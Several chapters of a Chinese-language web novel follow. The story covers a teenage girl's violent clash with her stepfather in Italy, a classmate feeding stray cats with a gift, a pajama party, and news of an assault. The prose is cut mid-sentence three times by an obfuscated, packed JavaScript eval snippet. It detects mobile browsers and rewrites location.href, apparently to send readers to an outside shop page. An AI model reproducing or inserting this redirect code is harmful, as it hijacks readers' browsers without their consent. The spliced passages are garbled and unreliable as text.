意大利式悠闲而惬意的午后时光,一向是夏薇喜欢和享受的。可是现在,她却完全没有享受的心情,就连满天耀眼的阳光,似乎也变得灰暗了。 拖着铅一般沉重的腿,骑过那段好似永无止境的上坡路,家,终于出现在眼前。 站在大门外,夏薇没有马上进去,而是闭上眼睛,深深吸了一口气,再徐徐的吐气——如此循环重复。 回家前总要深呼吸几次、让自己彻底平静后再进门,这是她不知什么时候起养成的习惯,许多年来,几乎已经成了本能。 很多在外劳碌的人回到家,感觉就像暴风雨中的航船回到了宁静的港湾,但在夏薇而言,“家”却是暴风雨本身。 事实上,在她开门的一刻,今天的暴风雨就已扑面而来。 “钥匙呢?” 单刀直入的问话,来自于面前戴金丝眼镜、风度翩翩的华裔男子。 他年约四十,正处在男人最有魅力的年龄,只是镜片后的眼睛却布满红丝,两个眼袋也像汤碗般又大又深,那是长期无节律的生活造成的。 “那只抽屉是属于我的,我认为别人没有权利打开。”夏薇以一种桀骜的目光,逼视着这个被她称为“爸爸”的男人。 “你的抽屉?”男人大笑起来,眼睛里却迸出怒火,“你住的房子是我交月供,你每天吃的三餐、洗澡的热水是我花钱,这个家里一切都是我在付出,但我却没有权利打开一个见鬼的抽屉!” “也许你忘记了,你赚的那些钱是从哪里来的?”夏薇尖刻反驳,“要不是我妈的餐馆,你大概早就去街边讨饭……” “扯这些做什么?”男人狂怒的打断了她,“这个抽屉,今天你不开也得开!” “没有人能强迫我!” “你们两个,都少说两句好不好?一见面就跟吃了火药似的……”夏母像维和部队及时赶来,又哄小孩似的劝,“把钥匙交给爸爸,乖啊。” “凭什么我要交出来?”在母亲面前,夏薇的脾气勉强收敛了一些。 “你爸昨天刚在店里取了些现金,回来路上多喝了几杯,回家后随手把钱一放,却不记得放在哪里,”夏母瞟了女儿一眼,“今天早上找遍了全家,只剩下你那个抽屉……” “什么意思,他认为我是小偷?”一股无名怒火再也按捺不住,夏薇暴跳起来,“他凭什么怀疑我!” “哼,十个孩子,九个会偷家里的钱,这种事我小时候就干过……”男人大声说,像在说一件英雄事迹似的。 “他怀疑我,难道您也不相信我?我是您的亲生女儿……”夏薇看着母亲,像是快要溺死的人抓住最后一根救命稻草。 她眼中的神色,也不知是愤怒,还是伤心。 “薇,你是不是太敏感了,我什么时候说过不相信你?但你要是没拿那些钱,为什么不肯打开抽屉,为什么非要跟爸爸顶嘴吵架?这里是你的家,不是战场!难道这个家每天都吵吵闹闹,鸡犬不宁,你才会开心吗……” 看着母亲近乎哀求的目光,和正在老去的面容,夏薇心里柔软的地方忽然痛了一下。 青春期的少女,也许的确太倔强,也太叛逆了。 其实她并不清楚,自己究竟在对抗什么,反叛什么。只不过一回到这个家里,任何一点很小的事情,都会很轻易的触怒她。 那也许是因为,她的家实在太不像一个家…… “打开就打开,到时候找不到钱,他可要向我赔礼道歉。”夏薇放弃了抵抗,只想快点结束这场无聊又无谓的战争。 她伸手向自己的脖子摸过去,却摸了个空。 脖子上只剩下一根空空的皮绳,早晨还挂在那里的吊坠和钥匙,现在竟已不见了。 此时此刻,她那两件宝贝正安全的躺在何少蘅的口袋里,但夏薇自然毫不知情。 “怎么了?”母亲凑过来问。 “开抽屉的钥匙,还有我的吊坠,不知道落在了哪里,”夏薇徒劳的翻找着裤兜和背包,最后得出绝望的结论,“到处都找不到,应该是今天在路上丢了……” “我刚丢了钱,她马上就丢了钥匙,”男人冷笑着,目中怀疑之色更深,“天底下会有这么凑巧的事情?” “丢了就是丢了,你不信没人逼你信!”被冤屈的少女发出愤怒的抗议。 男人冷哼了一声,不再理睬她。他迈开大步走进房间,拉住抽屉的手柄,两只手同时使劲,疯狂的向外猛拽一通。 老迈的家具经不住野蛮的暴力,发出“吱吱嘎嘎”的呻/吟,并且危险的摇晃起来。 他居然想用蛮力打开那紧闭的锁! 母女二人都惊得呆住了。等她们反应过来时,只听“喀喇”一声巨响,碎木片四散纷飞,打开的抽屉像炮弹般弹了出来。 “我要报警,告你蓄意毁坏私人财产!”夏薇冲过来对他怒吼。 “念了两天洋书,学会拿洋鬼子那套吓唬人了?”男人厉笑道,“今天我倒要让你知道,在中国的家庭里,谁才是一家之主。” 从一堆叠得整整齐齐的衣服下面,他准确的摸出一只花哨的马口铁盒子,不知道以前是装巧克力还是饼干用的。 盒盖被扔到一边,男人用力抖了抖,把里面藏着的东西全部倒出来。 哗啦一声,像下冰雹似的,一瞬之间,地上落满了花花绿绿、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923735|192677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 揉得皱巴巴的纸币,还有十几枚大小各异的硬币。 “不出所料,我的钱果然藏在这里。”男人像找到了失散的亲人,两眼放光。 “钞票又没有做记号,你凭什么说是你的?这些明明是我自己的!”夏薇气急败坏。 “你当我们都是傻子不成,我们给你的零花钱,根本不到这里的零头……” 夏母这时也走过来,用惊疑不定的目光看着女儿:“薇,这些钱是从哪里来的?只要你好好的说清楚,没有人会责怪你……” 夏薇满脸涨得通红,咬住了嘴唇,一声也不吭。 “无话可说了吧,明显就是做贼心虚。” 男人的脸在面前晃动,距离她是那么近,近得简直让她想呕吐。 看着这张得意洋洋的脸,忽然之间,仿佛一道闪电掠过心中,夏薇明白了一件事—— “这只盒子藏在抽屉深处,为什么你一进来就能找到?因为你早就翻过我的东西!” 她飞快的接着道:“你私吞了妈妈的钱还不满足,现在又打起我的主意,这些钱是我辛辛苦苦攒起来的,绝对不会让你拿去喝酒,拿去找妓……” “啪”的一声,玲珑清脆,夏薇脸上狠狠挨了一记耳光。 脑中嗡嗡的响,脸上火辣辣的痛。 她愕然抬起头,正好对上母亲伤心欲绝的眼睛。 “这些话,是你有资格说的吗?”母亲缓缓吐出这几个字,每个字仿佛都在滴血。 夏薇捂紧了脸颊,咬紧了牙,咬得牙根都已渗出鲜血。 她不能在母亲面前发作,更不能再伤母亲的心,但她满腔的怒火,必须有一个发泄的地方。 “去死吧!人——渣——”夏薇突然纤腰一拧,两只手掌像展翅的蝴蝶,同时拍出,正打在男人的胸腹之间。 在YouTube上跟视频学的中国咏春拳,这时被她下意识的使出来,居然发挥了意想不到的威力。 男人被这一招“双飞蝴蝶”打得斜退几步,身子一歪,向地面栽倒下去。金丝眼镜“啪”的摔碎了,他的额头也重重磕在桌角,登时鲜血长流。 “他妈的!你不是要报警吗,老子这就报给你看……”男人一只手捂住脑门,顾不得指缝中汩汩流出的鲜血,狂吼着要去摸手机。 “你在大量出血,快别乱动了,”夏母扑过来拦住了他,“真要闹到警局,让全镇人都来看我们的笑话?到时候我们一家还有什么面子……” 面子,面子! 是啊,就是因为这两个字眼,这个善良到了愚蠢的女人,多年来默默忍受着屈辱,只为维系早已破碎扭曲的家庭。 夏薇只觉得胸口窒闷得快要炸裂,再呆下去,她不敢保证自己不会做出更可怕的事情。 她铁青着脸,将满地散落的钱一股脑塞进铁盒,一言不发,扭头朝屋外冲出去。 母亲仍在苦苦拦住男人,算是为她争取了逃亡的时间。等她奔到大门口,还能听到屋中传来的大骂:“有这样的母亲,才会生出这样的女儿……” 自己逃出了乌烟瘴气的家,却留下母亲独自收拾残局、忍受辱骂,夏薇的心因愧疚而疼痛起来。一时的冲动之举,虽然让她发泄了胸中的一口恶气,可是发泄过后,问题非但没有解决,反而为她带来另一种更深沉的烦恼。 站在午后寂寥的阳光下,夏薇不由得长叹了口气。 她低头看着那只刚抢救出来的铁盒,将它在怀中抱得更紧,决定为它找个更安全的藏宝地点。 5. 野猫 小镇的银行下午两点钟休息,夏薇赶到这里的时候,职员们正在换掉身上的工作服,准备关门了。 柜台后面,只剩下一名留着络腮胡子的大叔,看见中国少女抱着铁盒狂奔进来,不禁露出惊讶的神色:“咦,今天难道到了20号吗?” “这个月提早……提早几天汇款,谢谢您!”因为在大太阳下赶路,夏薇累得气喘吁吁。 胡子大叔轻车熟路的敲起了键盘:“还是汇到那个账户对吧,很快就好……” 每个月的20号,夏薇都会往同一个账户存入一笔钱,这个习惯已经坚持了半年多,以至于办理业务的大叔都跟她混熟了,知道那天是她的“汇款日”。 折腾了七八分钟,那些乱糟糟的纸币、硬币总算全部清点好了——对于做什么都慢吞吞的意大利人来讲,这已经算是快得惊人的办事效率。 “很不错嘛,”胡子大叔长出了口气,递回一张收条,“这个月怎么攒了这么多钱?” “帮神父修剪草坪,赚了5欧;在M老师家粉刷墙壁,赚了7欧;邮差马里奥生病那两天,我给他替班送信,酬劳11欧……”夏薇掰着手指头,流水账似的汇报着。 本地的学校只有上午半天上课,放学以后的时光,夏薇大部分都花在了打零工上面,只不过从来没有把这些事告诉过家里人。 “好家伙,照这样下去,你很快就要成为意大利第一富婆了!”胡子大叔收拾东西准备下班,一面心情大好的开起了玩笑。 夏薇也向他笑了笑,可惜这笑容仅仅持续了一秒钟。 因为她刚刚看到,柜台右手边那间空荡荡的办公室。 高大的玻璃门紧闭着,透过敞开的百叶窗看去,里面一个人也没有。 就在一个月前,那里还属于过去的银行职员朱塞佩,可是一个月后,他却变成了一个醉卧街头的流浪汉! “朱塞佩不在办公室?”夏薇几乎是明知故问。 “是啊,”更衣间里传出胡子大叔的声音,“他已经走了很久。” “走了?下班了吗?” “噢,不是,”胡子大叔换好衣服走出来,“他不在这里工作了。事实上——朱塞佩离职了,就在将近一个月前。” “离职?”夏薇吃了一惊,“朱塞佩做错了什么?” “都是些芝麻绿豆的事……”胡子大叔摊开两只手,“算错账啦,忘记交月底报告啦,等等。前阵子那家伙不知吃错了药,还是中了邪,整天心不在焉的。” “就因为这样被解雇了?”夏薇气愤的叫起来。 “朱塞佩是一条硬气的好汉子,”胡子大叔叹息道,“那天被经理说了两句,下午他就不声不响递上辞职信,打包走人了,同事们甚至都不知道他几时离开的……” 带着几分困惑和沉重的心情,夏薇走出了银行,独自骑行在午后安静的街道上。 今天早上躺着朱塞佩的那张长椅,现在已空无一人,也不知道他是回了家,还是又换个地方睡觉去了。夏薇只希望下次见到他时,能够问清楚究竟发生了什么。 路边餐馆的门口,酒足饭饱的人们腆着肚子,正在做鸟兽散。夏薇想起自己还没吃午饭,于是掉头往小镇北端的“维瓦尔第小巷”骑去。 R镇以其悬崖碧海的迷人风光,吸引过古往今来的众多名流到访,这其中也包括大音乐家维瓦尔第。为了纪念这位三百多年前的威尼斯人,至今镇上仍保留着以他命名的节日和道路。 维瓦尔第小巷中,坐落着本地生意最好、也是最古老的gelato冰淇淋店,漆成樱桃红色的小小门店,几个世纪来始终保持着手工作坊的传统生产方式。夏薇每次跟家人闹了别扭,总是以“没胃口吃饭”为理由,来这里饱餐一顿。 她走向五光十色的冰淇淋柜,开门见山问道:“日安!今天有什么新口味吗?” “万圣节快要到了,我们新推出了南瓜口味,还有秋季限定的栗子味……” “好的,我要南瓜、栗子、开心果……呃,薰衣草味也来一个,谢谢!” 四个冰淇淋球在蛋筒上开出了绚丽的花,每个球都比少女的拳头还大。这些冰淇淋用低脂牛奶和新鲜水果制成,口感像绸缎般丝滑细腻,而且吃多少也不用担心有发胖的风险。 “真凑巧,你的同学刚刚也买了同样的口味,”店员微笑着接过夏薇递来的硬币,“你们是约好的吗?” 夏薇舔着冰淇淋走出店门,左右看了看,就看到狭窄的小巷尽头,果然有几个熟悉的身影。 她在石头铺成的地面上蹑手蹑脚走着,一直到了那些人身后,才突然大喊:“朱丽艾塔,安琪拉,玛莉卡!你们傻站在那里做什么?” 这声出其不意的喊叫,并没有让三个女生吓一跳,相反,她们像雕像般一动不动的站在巷口,仿佛全部被施了定身法。 她们究竟在看什么呢? 巷子外面,一段中世纪城墙划分出小镇曾经的边界。城墙如今只剩下断壁颓垣,残破的砖瓦间却爬满了红如野火的藤蔓,历史的无常和生命的强韧,在这里如此奇异的交融着。 这块凄凉的荒地一向人迹罕至,只有镇上流浪的野猫偶尔光顾。 一只瘦得皮包骨的野猫,把整张脸埋在一只矮胖的陶瓷碗里,正在津津有味的吃东西。 等一等,那只陶瓷碗看上去怎么如此眼熟? 碗身四周是当地特色的浮雕彩绘,青翠的绿叶映衬着明黄的柠檬,一个钟头前正摆在何少蘅的课桌上。 那碗猪血巧克力! 野猫一生之中,几次享受过这样的美食?它从碗中抬起头,满足的打了个饱嗝,脸和胡须都沾满了黏糊糊的暗棕色物体。 夏薇和三个女生目瞪口呆的看着眼前这一幕,一句话也说不出来。 朱丽艾塔手里的冰淇淋已经融化了,一滴一滴落在她的白球鞋上,可是她浑然不觉。 突然之间,朱丽艾塔扯开嗓门,厉喝一声: “你怎么能做出这种事?何——少——蘅——” 极度的惊怒之下,这意大利少女居然把三个中国汉字读得无比准确。 “嘘——小声一点,你吓坏它们了。”从城墙的阴影下走来的,正是何少蘅。 他的怀中又抱了七八只脏兮兮的小猫,每只都不到巴掌大,有的连眼睛都没有睁开,应该刚刚出生不久。 “什么事大惊小怪的?”何少蘅的神情也活脱脱像是那些小猫,看起来无辜而纯良。 “你——你在喂这些猫?”朱丽艾塔气得有些结巴。 “喂猫难道犯法?” 回答他的,是女生们狂风暴雨般的炮轰: “我们辛辛苦苦做了一个下午,才做好这碗猪血巧克力,它代表着全班人的心意,可是你呢,你竟然用来喂野猫!”朱丽艾塔激动大吼。 “是啊,我们自己都舍不得吃一口,哪知道会被你这样糟蹋……”玛莉卡哽咽着,眼睛已经红了。 “玛莉卡为了搅拌巧克力粉,手掌都磨出了血!你就是这样尊重别人的劳动和付出吗?”安琪拉大声控诉。 “你实在太傲慢、太无礼、太过分了!”朱丽艾塔最后总结陈词,宣判中国少年罪名成立。 看来,他的罪名真是跳进地中海也洗不清了。 夏薇紧张的盯着何少蘅,不知不觉为他捏了一把汗。 她也不明白自己在紧张什么,本来,她应该很开心看到他羞愧、难堪、无地自容…… 何少蘅却连一点羞愧的表情也没有,只不过淡淡答道:“这件事的确是我的疏忽。没有想到会对你们的情感造成这样大的伤害。我真诚的请求你们宽宏大量的饶恕。” 他总共说了三句话。 这三句话如果翻译成中文,大致等同于如下心理独白: “被你们撞见我喂猫,真是倒霉透了。” “女生真麻烦,总是小题大做。” “现在我道歉也道过了,你们几个为什么还赖着不走呢?” 清冷的神色,淡漠的语气,马上出卖了他内心的真实想法。所以他不道歉还好,这么一道歉,三个女生反而更愤怒了。 更加火上浇油的,是何少蘅接下来的举动。 他居然把刚抱来的那几只小猫也放到碗边,接着吃剩余的猪血巧克力! 这分明就是对女生们的公然挑衅! “啪”的一声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923736|192677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冰淇淋球掉在地上,砸得稀烂。朱丽艾塔向中国少年逼近了几步:“你……你还要继续?”她的眼睛里燃烧着可怕的怒火。 “你先别生气……”夏薇鬼使神差的冲上前去,英勇的拦在两人中间,“何少蘅这么做,也许有他的理由。” “什么理由也不能目中无人!”三个女生全都气得发抖。 “他……他应该有某些宗教上的禁忌,或者肠胃方面的毛病,”夏薇绞尽脑汁,为何少蘅进行辩护,“所以他才不方便吃猪……” “我倒不知道,自己什么时候有了宗教禁忌,还得了肠胃毛病。” 这少年非但完全不领她的情,居然还当场反驳! 夏薇张口结舌,整个人都怔住了。 在这一瞬间,她认清了一个残酷而不容置疑的事实——自己实在是个多管闲事、自作聪明的傻瓜。 何少蘅接着道:“我更没有想到的是,在这个文明高度发达的时代,在这个一向崇尚自由的国度,居然还存在着三个暴君。” 这次轮到朱丽艾塔怔住了。 她睁大了眼睛,声音却不知不觉放低了,迟疑着道:“你……你不会是在说我们吧?” “一个人有支配自己礼物的自由,对么?”少年清澈的目光看着女生们,“我感激你们的礼物,但之后如何处置它,那是我一个人的事,跟其他任何人都没有关系。” 他的声音突然变得严厉起来:“所以,谁要是干涉我的自由,她就是一个专/制的暴君!” 专/制! 暴君! 这两项罪名,的确比任何罪名都更严重,更令人不齿。 三个女生你看看我,我看看你,忽然都感到脸上有些发烫。 “这只母猫太瘦弱了,没有能力喂养刚生下的孩子,它们已经很长时间没有东西吃……”少年蹲下去,伸手抚摸着围在碗边的小猫,“所以比起我来,它们显然更需要这份礼物。” 他提高了声音,大声质问道:“难道你们一点同情心都没有,能够眼睁睁的看着这些猫饿死吗?” 朱丽艾塔的嘴唇动了动,仿佛要说什么,却说不出来,只能讪讪的挠着后脑勺。 安琪拉和玛莉卡面面相觑,也都同时低下了头。 她们本来觉得受了很大的委屈,想要理直气壮的指责何少蘅,结果自己反而被他抢白一顿,碰了一鼻子灰。 这究竟是怎么回事呢?她们不禁糊涂起来。 夏薇在偷偷的笑。 她本来还想帮助这位中国同乡,现在看来,似乎真的是多此一举了。 不知什么时候,三个女生静悄悄的走光了,没有再说一句话。 她们是不是已经谅解了何少蘅呢? 何少蘅不知道,也没有兴趣深究。 他的目光变得专注而温柔,仿佛已完全沉浸到自己的世界中去,不论别人如何看待他,误解他,都已经与他无关。 秋日的阳光下,爬满藤蔓的城墙边,俊美的少年在喂一群猫—— 这油画般美好的一幕,是那天下午夏薇最后看到的画面。 她转过身,正要走向小巷,忽然之间,听见一个很轻很轻的声音在背后响起: “谢谢你。” 夏薇回过头,故意往东边看看,又往西边看看:“咦,哪里来的蚊子在叫,我一点也没有听见他说了什么……” “你要是没有听见,又何必要回头?”何少蘅的声音里带着笑意。 “其实我也没有做什么事,你不用太感谢我……”夏薇谦逊起来连自己都觉得虚假。 “在其他人围攻我的时候,你是唯一一个为我说话、帮助我的人,”少年静静的说道,“在中国的传统里,这样的朋友值得用生命去珍惜。” 他向她伸出一只手。 夏薇怔怔的呆了半天,握住他温暖的手掌。 一瞬之间,她感到自己的心像大海一样澎湃起来。 “我们现在是朋友了?” “也许不止是朋友。” “哦?还有什么?” “我们的身体里流淌着同一种血液。就像M老师说的,中国同乡,相处起来一定会很愉快……” 6. 派对 “何少蘅,下午去踢足球吗?就在山脚下的桑德罗球场。” “不了,我要复习功课。” “何少蘅,放学后我们几个去酒吧,要不要一起来?” “不了,我要复习功课。” “何……” “不了,我要复习功课。” 孤僻、冷漠、傲慢、怪人、书呆子……不到一周时间,中国新生身上已被贴上了这么多标签,来自任何一位同学的友好邀请,得到的也总是录音机般千篇一律的拒绝。何少蘅以一种彬彬有礼却又冷若冰霜的态度,把自己同别人隔绝起来,让人觉得难以与他接近。 最初几天的新鲜感过去后,大家的热情和耐心终于都耗尽了。在课间三五成群、谈笑风生的人群中,只有何少蘅孤零零一人,被大家抛在一旁,仿佛他是一只得了传染病的羊。 班上的女生们在碰过几次钉子后,也早已熄灭了那颗蠢蠢欲动的芳心——她们就算相信阿尔卑斯山上的冰川会全部融化,也不相信这冰川般的美少年会用正眼看她们一眼。 全班的意大利同学中,只有两个人持不同态度。 第一个,就是外号“哲学家”的安东尼奥。 在提及充满争议的中国少年时,他援引了自己的前辈、哲人庇罗的那句经典名言:“聪明的人,就应该像猪一样毫不动心。” 仿佛还担心别人听不懂这句话,安东尼奥进一步补充道:“俗语说得好,Megliosolichemaleapagnati(独自一人胜过损友相伴)。而且通常来讲,人群中最安静的那个人,才是一个真正的狠角色。”他的玳瑁眼镜后面闪动着深沉的光芒。 周围的听众们面面相觑,全都露出费解的神情,于是耸了耸肩膀,走了。 除了安东尼奥之外,还有一个人也完全不排斥何少蘅。 这个人,就是恩佐,“万人迷”恩佐。 星期五的中午,当恩佐那神祇般健美的身躯站在何少蘅面前时,在场所有的人都不约而同向他们行注目礼,一时间甚至忘记了眨眼。 比看到一个美少年更赏心悦目的,就是看到两个美少年同时站在一起! 而这两人之间的差异,又是何其巨大、何其明显——如果说一个是阿尔卑斯山上亘古不化的冰川,另一个就是第勒尼安海上无处不在、和煦而怡人的阳光。 现在,恩佐正带着他阳光般的笑容,试图溶解这座人形冰川:“何少蘅,今晚我在家里举办派对,班上所有的同学都会来,请你也务必光临……” “谢谢,不过我还要学……” “没问题,今晚他一定参加!”夏薇突然把头伸过来,插了一句。 没有人反驳,也没有人拒绝,这件事就这么愉快的决定了。 假如世界上只有一个人能让何少蘅无法拒绝,这个人一定就是夏薇;假如世界上只有一个人能让他头痛,这个人也一定就是夏薇。 等到恩佐满意的离开后,何少蘅就对着夏薇发起了牢骚:“你怎么可以这样胡来?我已经比你们少上了一个月的课,还有很多要学……” “让学习和功课见鬼去吧!”少女豪迈的挥了挥手,“放轻松点,这里是意大利南部,再没有什么比生活更重要了。” “生活?” “也许你该学习的不是书本里的东西,而是生活,是人际交往,怎样和朋友相处……”夏薇谆谆教诲着。 “无所谓,我的人际关系一向很差,”何少蘅淡淡回答,“要是朋友突然多起来了,反而不习惯。” “总之我都答应下来了,今天晚上你非去不可!” “也许这是一场鸿门宴,”敏感的少年展开了被迫害狂式的想象力,“听说很多地方有这种传统,给新来的同学一个下马威……” “鸿门宴?下马威?”两个高难度词汇超出了夏薇的中文水平。 “简单来讲,就是要整人,借着聚会给我一点颜色看看……” “天啊,你想到哪里去了!这只是一次普通的睡衣派对而已,所有人在那里都会玩得超开心的。” “等等——睡衣派对?”少年好像刚弄清状况,惊奇的叫了起来,“你要我穿着睡衣到别人家里去?” “这是很自然的事,”夏薇轻松的笑了笑,“好朋友的聚会就是要完全放松,做回最真实的自己。” 何少蘅哼了一声,不说话了,心里却莫名的泛起一种酸溜溜的感觉。 因为他刚刚发现,夏薇居然是那么多人的“朋友”,而不仅仅是他一个人的朋友。 “你在中国的时候,难道从没参加过这种派对?”夏薇像打量外星人似的看着他。 “没有,因为我睡觉时从来不穿睡衣,所以这次也没法去……”何少蘅仿佛找到了一个绝佳的理由。 “不用担心,这一点我早就帮你考虑到了!” 夏薇笑得像个料事如神的先知,伸手从书包里掏出一件衣服,“刷”的一声,凌空抖开。 闪闪发光的缎子面料险些亮瞎了眼,金灿灿的底色上,大红大紫的丝线绣着几条神气活现的飞龙。 龙袍睡衣! 这莫不是刚从哪个古墓里挖出来的? 看到何少蘅近乎惊恐的神色,夏薇赶紧解释:“上个月海淘网站搞活动,买睡袍送龙袍——相当于白捡一件,不要白不要。” 她不由分说的把龙袍塞过来:“我妈本想把它改改,当作一块桌布……现在不用费事了,正好送给你。” “……你真是太贴心了。”少年抱着他奢华的新睡衣,露出了认命的苦笑,心知自己再也没有借口逃避晚上的派对。 “对了,大家今晚照例会带上吃的喝的,你也可以带一些中国特色美食……” 指导完她的中国学生,夏薇又马不停蹄的去了自己的闺蜜家里——她答应过弗洛伦蒂娜,要帮她精心打扮一番,好让恩佐在派对上对她印象深刻。 热辣、清纯、卡通、搞怪、休闲、梦幻、复古……各种风格、千奇百怪的睡衣,在少女的房间里堆成了一座小山。 这些按斤称重的衣物,每公斤只售30欧元,是从镇上的流动二手集市淘来的,其中甚至有LaPerla、LuciaBerutto之类的意大利奢侈品牌。此外,集市上还出售各种价廉物美的饰品、器皿、书籍、唱片……上周末她们从早到晚都耗在那里,杀红了四只眼睛,清空了两只钱包。 “妈呀——我的头痛死了!”弗洛伦蒂娜大声惨叫,“你梳头的时候就不能轻一点吗?” “忍耐一下吧……”夏薇毫不手下留情,“为了爱情忍受痛苦是值得的。” “你抹在我头上的粘液是什么?颜色绿乎乎的,像鼻涕一样……” “这是我的独家秘方——仙人掌汁,能让你的秀发比缎子还要柔亮!” 在好友专横的摆布下,弗洛伦蒂娜金黄的长发被盘在脑后,露出一截雪白的脖颈,亚麻色的宽大衣袍掩饰了她身材的缺陷,走起路来却随风飘舞,曼妙而轻盈,犹如古罗马神话中的女神降临凡间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923737|192677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这个优雅动人的造型并不是夏薇的原创,而是她翻遍了厚厚一大本《意大利美术史》,按照庞贝壁画上“花神芙罗拉”的形象,原封不动照搬过来的。 “棒呆了!”夏薇后退几步,满意的审视着自己的作品,“我敢保证,这个夜晚恩佐一定会为你神魂颠倒……” “接下来的任务,是把你自己打扮得丑一些。”弗洛伦蒂娜下令道。 等到两个女生终于大功告成时,窗外的天空已被染成墨蓝,温柔的夜色降临了。 恩佐的家建造在悬崖边一块巨岩上,面朝一望无尽的地中海,终年回荡着海浪的声音。这座历史建筑最早建于十一世纪,曾经是皇室成员的度假别墅,经过数次转手和几代主人的经营,如今已糅合了意大利、拜占庭和伊/斯/兰等多种风格。绿叶披拂的庭院中随处可见古老的雕塑和文物,看似随意的摆放其实经过了精心的设计,显示着主人家优雅不俗的品味。 “啊,今晚的你多么可爱……”一走进大门,派对主人果然发出由衷的赞叹,“你看起来简直像庞贝壁画上的花神芙罗拉!” 恩佐那双迷人的蓝眼睛始终停留在夏薇身上,却完全没有注意到旁边的弗洛伦蒂娜,仿佛她只不过是透明的空气。 两个女生互相对视了一眼,不知该说什么好。 为了衬托好友的美丽,夏薇今天毅然牺牲自我,穿着一套花团锦簇的大妈风睡衣,哪知竟得到了这样的结果。 “很明显,恩佐一定是对‘花神’这个词有所误解……”从庭院中穿过的时候,夏薇安慰着万念俱灰的弗洛伦蒂娜。 家里的大人全都出去度假了,把这栋历史悠久的豪宅全权交给狂欢的年轻人们。 银质烛台摇曳着温馨的火光,巨大的樱桃和葡萄像水晶般闪闪发亮,同学们慷慨贡献的食物填满了整张长条桌。 帕达诺奶酪,萨拉米香肠,帕尔玛火腿,普利亚烤鸡,西西里米团,玛格丽塔披萨,培根蛋面,油炸海鲜,提拉米苏,萨芭雍,冻酸奶,冰淇淋,自酿红酒和柠檬酒……土耳其裔同学带来了有名的Kebab中东烤肉串,就连有“吝啬鬼”之称的卢卡,也带来了几块超市降价促销的牛角面包。 吃饱喝足,大家就去音乐室跳舞唱歌,吼到嗓子嘶哑了又出来觅食;卧室里,几个人迫不及待的打起了“枕头大战”,公仔和抱枕扔得满地都是;客厅的壁炉前,一群人在地毯上或躺或坐,正在看恐怖电影《僵尸吃人之午夜恐惧》,女生们尖叫,男生们狂笑。 吃吃喝喝,打打闹闹,谈谈笑笑……幸福和快乐,对于这些十六七岁的年轻人来讲,就是如此简单,如此纯粹。 “薇,你怎么老坐在那里,过来一起跳舞吗?”隔着一群载歌载舞、声嘶力竭的人影,恩佐大声招呼道。 “真不巧,我刚刚有些扭了脚,”夏薇反应敏捷,“还是让弗洛伦蒂娜上阵吧……” 她粗暴的伸手一推,把呆若木鸡的闺蜜推了过去。 穿过喧嚣拥挤的人群,夏薇的视线在每个房间、每个角落搜索着,希望看到一个穿着中国龙袍的身影,可是找了半天也没有找到。 难道何少蘅今晚真的不会来了? 夏薇不禁气得火冒三丈。她本来一片好心,想帮助何少蘅融入异国的生活,融入群体之中,没想到他根本不领情,居然放了她的鸽子。 下星期到了学校,不把他骂得狗血淋头才怪! 正在这时候,外面忽然传来“叮咚”一声,别墅的门铃被人按响了。 7. 打架 屋子里正闹翻了天,没有人听见门铃响。夏薇只好独自穿过黑暗的庭院,走出去开门。 站在大门外的,竟然是两个身穿制服、佩戴警徽的人。 “警察先生,有什么事吗?”夏薇认得他们是镇上的巡警。 “晚上好,小姐……”警察伸长了脖子,看向灯火通明的别墅,“今晚这里没有可疑的人进来过吧?” “可疑的人?”夏薇一头雾水。 “我们正在追捕一名在逃的嫌犯,例行来询问一下……” “我和同学们整晚都在开派对,如果有人混进来,一定会被发现,”镇上难得发生犯罪事件,夏薇不禁有些好奇,“这个逃犯是什么人?” “他的名字叫朱塞佩,以前是小镇银行的职员,一个月前刚刚离职……” “朱塞佩!”夏薇吓了一大跳,眼前浮现出那个醉醺醺的流浪汉,“他做了什么事被警方追捕?” “现在怀疑他跟一起恶意伤人案有关……”警察满脸严肃,“今晚早些时候,有人目击到他在大教堂附近,持械殴打一名姓何的中国男子。等我们赶到时,肇事者已经逃掉了……” 姓何的中国男子! 怪不得这个晚上,何少蘅直到现在都没有出现。 “被打的人伤势严重不严重?”夏薇只觉得心脏砰砰狂跳起来。 “伤者虽然暂时没有生命危险,但他被送进医院时,已经失去了知觉……”警察说着,帮她关上了大门,“如果你发现什么异常情况,请及时跟我们取得联系。” 等到警察们离开了,夏薇仍然一个人立在黑暗中,心中又是忐忑,又是疑惑—— 何少蘅刚搬来小镇没多久,什么时候招惹了朱塞佩,还跟他结下这么大的仇恨?这不是咄咄怪事吗? 